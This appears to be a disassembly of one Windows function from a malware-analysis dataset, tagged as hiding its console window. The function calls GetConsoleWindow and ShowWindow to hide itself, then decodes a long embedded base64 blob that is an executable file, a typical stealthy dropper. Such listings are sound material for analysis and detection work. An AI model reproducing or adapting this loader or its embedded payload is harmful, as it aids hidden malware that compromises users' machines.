Function at 0x100401406
Capabilities:
Hide graphical window

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x50
lea rbp, [rsp + 0x50]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov dword [rbp + 0x38], r9d
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
je 0x10040144b
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp - 9]
mov rcx, rax
call fcn.100401700
lea rdx, [rbp - 9]
lea rax, [rbp - 0x18]
mov r8, rdx
lea rdx, str._n____________TVpBUlVIieVIgwgSIPk8OgAAAAAW0iBwzdeAAD_00iBw7SxAgBJidhqBFr_0AAAAAAAAAAAAAAAAAAAAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAC7UXNx_zAdIv8wHSL_MB0iuWH8ItswHSK5Yf0ihDAdIrlhwiL1MB0i9kiaIv4wHSL2SI4i7jAdIv8wHCI7MB0igkn9IuQwHSKCScIi_jAdIoJJwSLMB0igknDIv4wHSJSaWNo_zAdIgAAAAAAAAAAAAAAAAAAAABQRQAAZIYFAGPn1GUAAAAAAAAAAPAAIiALAgwAABgCAABCAQAAAAAAUFwBAAAQAAAAAACAAQAAAAAQAAAAAgAABQAAAAAAAAAFAAIAAAAAAACQAwAABAAAvOEDAAIAIAEAABAAAAAAAAAQAAAAAAAAAAAQAAAAAAAAEAAAAAAAAAAAAAAQAAAAALECADcAAAA4sQIAtAAAAAAAAAAAAAAAAGADAGgZAAAAAAAAAAAAAACAAwCoBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwkQIAcAAAAAAAAAAAAAAAADACAPgFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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FQYfAgBBuAQAAABIi87oZCoBAIXAdVlIjUwkUjPSQbgKBAAAZkSJZCRQ6NQqAQBIjUwkUEG4AAQAAEiL1kSJrVADAABEibVUAwAARIm9WAMAAOgcIgEASI1UJFBFM8BIi8__V3BFM_ZMiDpwQEAAEiNFaQeAgBBuAUAAABIi87o8ikBALqwAQ
mov rcx, rax
call fcn.100402480
lea rax, [rbp - 9]
mov rcx, rax
call fcn.1004016f8
lea rax, [rbp - 0x18]
mov rcx, rax
call fcn.1004016d0
mov rbx, rax
lea rax, [rbp - 0x18]
mov rcx, rax
call fcn.1004016d0
mov rsi, rax
lea rax, [rbp - 0x18]
mov rcx, rax
call fcn.1004016b0
mov r8, qword [0x100446c40]
mov rdx, rsi
mov rcx, rax
call fcn.1004030e0
mov rdx, rax
lea rax, [rbp - 0x18]
mov r8, rbx
mov rcx, rax
call fcn.1004016a8
lea rax, [rbp - 0x30]
lea rdx, [rbp - 0x18]
mov rcx, rax
call fcn.1004010ba
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.10040135b
mov ebx, 0
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.100402ba0
lea rax, [rbp - 0x18]
mov rcx, rax
call fcn.1004016a0
mov eax, ebx
jmp 0x10040154d
add rsp, 0x50
pop rbx
pop rsi
pop rbp
ret